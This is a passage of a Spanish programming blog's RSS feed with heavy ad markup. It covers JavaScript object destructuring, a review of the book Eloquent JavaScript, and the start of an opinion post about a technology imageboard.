data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;desestructuracion-de-un-objeto-en-javascript&#34;&gt;Desestructuración de un objeto en javascript&lt;/h2&gt;&#xA;&lt;p&gt;Para desestructurar el objeto del ejemplo anterior, podemos usar la siguiente sintaxis:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; userData &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {isLoggedIn&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; True, profile&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Admin&amp;#34;&lt;/span&gt;, email&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; {isLoggedIn, profile, email} &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; userData&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora en lugar de obtener los valores directamente del objeto podemos obtenerlos de las constantes y el código se vuelve más sencillo de leer.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(isLoggedIn &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; profile&lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Admin&amp;#39;&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  redirectToDashboard()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  redirectToUserAccount()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Además de destructurar objetos, Javascript también permite desestructurar listas. Entra en mi entrada de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/desestructuracion-de-listas-en-javascript/&#34;&gt;destructuración de listas en Javascri&lt;/a&gt;&#xA; para aprender a desestructurar listas en Javascript.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Para aquellos como yo, cuyo primer lenguage no tuvo la suerte (o desgracia) de ser javascript, la desestructuración puede llegar a tener tintes esotéricos. En esta entrada voy a tratar de explicar de una manera sencilla la desestructuración de objetos en javascript. La destructuración es un proceso que, a diferencia de lo que se cree, es bastante simple en realidad y, además, puede mejorar bastante la legibilidad del código.&lt;/p&gt;&#xA;&lt;p&gt;Si quieres empezar a aprender Javascript desde cero te recomiendo el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/el-mejor-libro-para-aprender-javascript-moderno/&#34;&gt;libro Eloquent Javascript&lt;/a&gt;&#xA;, aquí recomiendo el que yo considero el mejor libro para empezar.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>El mejor libro para aprender Javascript moderno</title>
      <link>https://coffeebytes.dev/es/javascript/el-mejor-libro-para-aprender-javascript-moderno/</link>
      <pubDate>Tue, 01 Oct 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/javascript/el-mejor-libro-para-aprender-javascript-moderno/</guid>
      
      <category>javascript</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Hay muchos buenos libros para aprender Javascript sin embargo el libro Eloquent Javascript de verdad me hizo entender Javascript moderno. Si piensas dedicar algunas horas a adquirir conocimiento de este lenguaje, &lt;strong&gt;no pierdas tu tiempo buscando más&lt;/strong&gt;, difícilmente encontrarás un libro que cubra tal variedad de conceptos de una manera tan entendible y completa como este.&lt;/p&gt;&#xA;&lt;h2 id=&#34;5-razones-para-leer-el-libro&#34;&gt;5 razones para leer el libro&lt;/h2&gt;&#xA;&lt;p&gt;Primero, el autor parte del supuesto de que no sabes absolutamente nada del lenguaje y te lleva de la mano desde los tipos de datos, las estructuras de control y, cuando te das cuenta, estás practicando temas más complejos tales como objetos, funciones de alto orden, getters, setters, polimorfismo, herencia, generadores, callbacks, asincronía, etc. Todo explicado de una forma amena y sencilla, con ejemplos prácticos.&lt;/p&gt;&#xA;&lt;p&gt;Segundo, el contenido del libro está actualizado con las nuevas características del lenguaje. En el libro podemos encontrar los distintos tipos de sintaxis (antigua y nueva) en la importación de módulos y ejemplos en cada uno de ellos, la notación de arrow function es explicada y usada frecuentemente para que nos familiaricemos con esta, los nuevos tipos de variables son expuestos excelentemente, así como también las promesas y observables.&lt;/p&gt;&#xA;&lt;p&gt;Tercero, temas tan complejos como asincronía o callbacks, que pueden llegar a ser complicados de entender al principio, son explicados de un modo didáctico. El autor domina perfectamente los conceptos y es capaz de plasmarlos en ejemplos de la vida cotidiana para su fácil comprensión. Pasarás las páginas del libro hablando de nidos de cuervos, robots que envían correos e incluso se creará un lenguaje de programación que correrá a través de un interprete que podrás programar tu mismo.&lt;/p&gt;&#xA;&lt;p&gt;Cuarto, el libro va un poquito más allá de los aspectos principales del lenguaje. Los últimos capítulos ahondarán en el manejo del DOM, creación de un servidor para crear un sitio web para compartir habilidades. Para el final del libro se estará trabajando con node y practicando los comandos básicos de su manejador de paquetes: npm&lt;/p&gt;&#xA;&lt;p&gt;Quinto, por si todo lo anterior no fuera suficiente el libro es &lt;strong&gt;completamente gratuito&lt;/strong&gt; en su versión digital; está licenciado bajo una licencia Creative Commons attribution-noncommercial license.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;donde-lo-consigo&#34;&gt;¿Dónde lo consigo?&lt;/h2&gt;&#xA;&lt;p&gt;Si quieres una copia ve directo a la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://eloquentjavascript.net/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;página oficial del autor&lt;/a&gt;&#xA; y descarga tu copia en PDF, Epub o Mobi sin costo alguno. Por otro lado, si eres de los que prefieren leer en papel puedes adquirir la versión impresa, con costo, por supuesto. Lamentablemente el libro aún no tiene una traducción al español (aunque sí en ruso, portugués, persa y búlgaro), pero si sabes inglés y quieres aprender Javascript este libro es totalmente imprescindible para tu colección. Edición 28/Jul/2020: El libro tiene una versión al español pero está incompleta, sin embargo puedes leer los primeros doce capítulos en su sitio web oficial, entra y accede a los diferentes formatos en que está disponible en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://eloquentjs-es.thedojo.mx/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;este enlace.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;strong&gt;Conocimientos previos recomendados:&lt;/strong&gt;&lt;/strong&gt; HTML, CSS y nociones muy básicas de Javascript&lt;br&gt;&#xA;&lt;strong&gt;Recomendado para leerlo:&lt;/strong&gt; 9/10&lt;br&gt;&#xA;&lt;strong&gt;Idiomas:&lt;/strong&gt; Inglés, español, ruso, portugués, búlgaro&lt;/p&gt;&#xA;&lt;p&gt;Entra aquí para conocer &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/el-mejor-libro-de-python-inmersion-en-python/&#34;&gt;uno de los mejores libros para aprender Python.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>El 4chan sobre tecnologia y programacion</title>
      <link>https://coffeebytes.dev/es/opinion/el-4chan-sobre-tecnologia-y-programacion/</link>
      <pubDate>Mon, 16 Sep 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/opinion/el-4chan-sobre-tecnologia-y-programacion/</guid>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Muchas de las personas que pasan gran parte de su día en contacto con internet, ya sea por placer o por trabajo, han llegado eventualmente a terminar en un image board, generalmente en el más popular que existe entre personas angloparlantes: 4chan&lt;/p&gt;&#xA;&lt;p&gt;4 chan tiene una sección de tecnología, llamada /g/, donde generalmente hay hilos de programación, desarrollo de software, GNU/Linux y otros temas que pueden resultar bastante interesantes, sin embargo la mayoría de ellos tienen una calidad que deja bastante que desear, llenos de trolls y usuarios con mucho desconocimiento sobre el tema. En resumen: no sirven con otro propósito que no sea el mero entretenimiento.&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-image-board-cyberpunk&#34;&gt;El image board cyberpunk&lt;/h2&gt;&#xA;&lt;p&gt;Sin embargo existe una joya escondida en internet, un 4chan pero totalmente especializado en tecnología y con un aire bastante oscuro, digno de las más pesimistas distopias cyberpunk. Aquí es posible encontrar tutoriales, material didáctico, contactar con personas que saben muchísimo sobre programación, sistemas operativos y tecnología en general; una pequeña mina de oro que tiene mucho que ofrecer siempre y cuando sepas aprovecharla.&lt;/p&gt;&#xA;&lt;p&gt;En este lugar hay varios boards interesantes, solo enunciaré unos cuantos, pues son muchos. Te recomiendo que al terminar de leer esta publicación vayas y revises el resto por ti mismo. Yo te comparto los cuatro que creo que te parecerán más interesantes:&lt;/p&gt;&#xA;&lt;h3 id=&#34;heading&#34;&gt;/λ/&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    